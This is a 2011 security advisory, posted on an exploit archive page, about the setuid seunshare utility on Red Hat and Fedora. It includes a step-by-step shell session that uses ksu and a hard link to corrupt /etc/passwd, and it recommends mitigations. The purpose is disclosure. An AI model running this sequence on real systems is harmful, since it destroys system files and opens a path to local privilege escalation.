exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Red Hat Enterprise Linux seunshare Unsafe Implementation

Red Hat Enterprise Linux seunshare Unsafe Implementation
Posted Feb 23, 2011
Authored by Tavis Ormandy

The seunshare setuid root utility from policycore-utils as distributed by Red Hat Enterprise Linux and Fedora can be manipulated to perform privilege escalation attacks.

tags | exploit, root
systems | linux, redhat, fedora
SHA-256 | 28d6af0b315f7b0dff8e67157c86ac312cb258841d84361eeea4cbe9621362b2

Red Hat Enterprise Linux seunshare Unsafe Implementation

Change Mirror Download
Developers should not rely on the stickiness of /tmp on Red Hat Linux

Recent versions of Red Hat Enterprise Linux and Fedora provide seunshare, a
setuid root utility from policycore-utils intended to make new filesystem
namespaces available to unprivileged processes for the purpose of sandboxing.

The intention is to permit unprivileged users to mount a new temporary
directory on /home and /tmp for sandboxed processes, thus preventing
access to the contents of the original directories in the event of a

One unintended side effect of making these features available to unprivileged
processes is that users can now change how setuid applications perceive /tmp
and /home.

The purpose of this advisory is to inform developers and system administrators
of affected systems that unprivileged users can effectively remove the
sticky-bit from the system /tmp directory, and thus relying on the stickiness
of /tmp on redhat systems is no longer safe.

This advisory is intended for system administrators and developers of
Red Hat Linux systems; journalists, end users and other non-technical
readers do not need to be concerned.

Affected Software

All known versions of policycore-utils are affected.

I discussed the potentially dangerous implications of introducing this change
with Red Hat Security in September 2010, but FC14 and RHEL6 still exhibit this
behaviour post-launch.


A simple example of a common application that is now unsafe is ksu, from the
krb5 distribution. ksu creates a temporary file in /tmp, then clears it on
authentication failure.

This is normally a safe operation, as /tmp is protected by the sticky bit.

However, we can use seunshare to interfere with this process.

# create a new directory that we control
$ mkdir /tmp/seunshare

# use seunshare to mount it on /tmp and /home and run our setuid root binary
$ seunshare -v -t /tmp/seunshare/ -h /tmp/seunshare/ -- `which ksu` root &>/dev/null &
[1]+ Stopped seunshare -v -t /tmp/seunshare/ -h /tmp/seunshare/ -- `which ksu` root

# we can examine the mounts visible to the process using the /proc interface
$ grep /tmp /proc/$(pidof ksu)/mountinfo
66 64 1:1 /tmp/seunshare /tmp

# here is the temporary file created by ksu during authentication
$ ls -l /tmp/seunshare/
total 4.0K
-rw-------. 1 root taviso 35 Feb 18 23:21 krb5cc_0.1

# as we own the directory, and the sticky-bit is not set, we are permitted to
# unlink files
$ rm -f /tmp/seunshare/krb5cc_0.1

# now we can replace the file with a link
$ ln /etc/passwd /tmp/seunshare/krb5cc_0.1

# make ksu authentication fail.
$ fg
seunshare -v -t /tmp/seunshare/ -h /tmp/seunshare/ -- `which ksu` root

And /etc/passwd was damaged, thus breaking the system.


This bug was discovered by Tavis Ormandy.


Thanks to Kees, Hawkes, Dan and Julien for their help. Greetz to everyone in
$1$kk1q85Xp$Id.gAcJOg7uelf36VQwJQ/, and all my other elite friends and colleagues.


Although only an example of damaging a system has been provided, it's
reasonable to assume that various applications rely on the stickiness of
/tmp to prevent code execution.

Administrators are advised to remove the setuid bit from seunshare, or
restrict access to it.



taviso@cmpxchg8b.com | pgp encrypted mail preferred

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2022 Packet Storm. All rights reserved.

Security Services
Hosting By